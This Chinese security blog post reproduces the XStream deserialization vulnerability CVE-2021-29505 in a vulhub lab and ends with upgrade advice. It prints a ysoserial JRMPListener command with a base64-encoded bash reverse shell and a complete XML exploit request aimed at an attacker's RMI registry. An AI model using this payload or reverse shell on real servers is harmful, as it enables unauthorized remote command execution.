查看原文
其他

CVE-2021-29505:XStream反序列化命令执行漏洞复现

hatjwe Timeline Sec 2021-09-02


上方蓝色字体关注我们,一起学安全!作者:hatjwe@Timeline Sec
本文字数:1222阅读时长:3~4min声明:请勿用作违法用途,否则后果自负


0x01 简介


XStream是一个轻量级、简单易用的开源Java类库,它主要用于将对象序列化成XML(JSON)或反序列化为对象。


0x02 漏洞概述


编号:CVE-2021-29505

XStream在解析XML文本时使用黑名单机制来防御反序列化漏洞,但是其 1.4.16及之前版本黑名单存在缺陷。攻击者可以操纵已处理的输入流并替换或注入对象,从而在服务器上执行本地命令。


0x03 影响版本


XStream <= 1.4.16


0x04 环境搭建


使用vulhub进行搭建

执行如下命令启动一个SpringBoot+XStream的1.4.16的环境

cd vulhub/xstream/CVE-2021-29505docker-compose up -d



0x05 漏洞复现


攻击机 kali:192.168.20.128

靶机 ubuntu: 192.168.20.129

作为攻击者,我们在自己的服务器上使用ysoserial的JRMPListener启动一个恶意的RMI Registry:

https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar


这里执行的命令是base64编码后的反弹shell

java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwLjEyOS8yMzMzMyAwPiYx}|{base64,-d}|{bash,-i}"



漏洞利用

我们向目标服务器发送CVE-2021-29505的XML POC: 

POST / HTTP/1.1 Host: 192.168.20.129:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Connection: close Content-Type: application/xml Content-Length: 3117 <java.util.PriorityQueue serialization='custom'> <unserializable-parents/> <java.util.PriorityQueue> <default> <size>2</size> </default> <int>3</int> <javax.naming.ldap.Rdn_-RdnEntry> <type>12345</type> <value class='com.sun.org.apache.xpath.internal.objects.XString'> <m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj> </value> </javax.naming.ldap.Rdn_-RdnEntry> <javax.naming.ldap.Rdn_-RdnEntry> <type>12345</type> <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'> <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'> <parsedMessage>true</parsedMessage> <soapVersion>SOAP_11</soapVersion> <bodyParts/> <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'> <attachmentsInitialized>false</attachmentsInitialized> <nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'> <aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'> <candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'> <names> <string>aa</string> <string>aa</string> </names> <ctx> <environment/> <registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'> <java.rmi.server.RemoteObject> <string>UnicastRef</string> <string>192.168.20.128</string> <int>1099</int> <long>0</long> <int>0</int> <long>0</long> <short>0</short> <boolean>false</boolean> </java.rmi.server.RemoteObject> </registry> <host>192.168.20.128</host> <port>1099</port> </ctx> </candidates> </aliases> </nullIter> </sm> </message> </value> </javax.naming.ldap.Rdn_-RdnEntry> </java.util.PriorityQueue></java.util.PriorityQueue>


查看攻击者RMI服务器消息,发现收到了来自靶机(192.168.20.129)的RMI请求,RMI执行payload,攻击机通过监听23333端口获取反弹shell:



0x06 修复方式



1、将XStream升级到1.4.17或以上版本

2、使用安全api

https://x-stream.github.io/security.html#example


参考链接:

https://paper.seebug.org/1543/

https://x-stream.github.io/CVE-2021-29505.html



阅读原文看更多复现文章
Timeline Sec 团队
安全路上,与你并肩前行












: . Video Mini Program Like ,轻点两下取消赞 Wow ,轻点两下取消在看

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存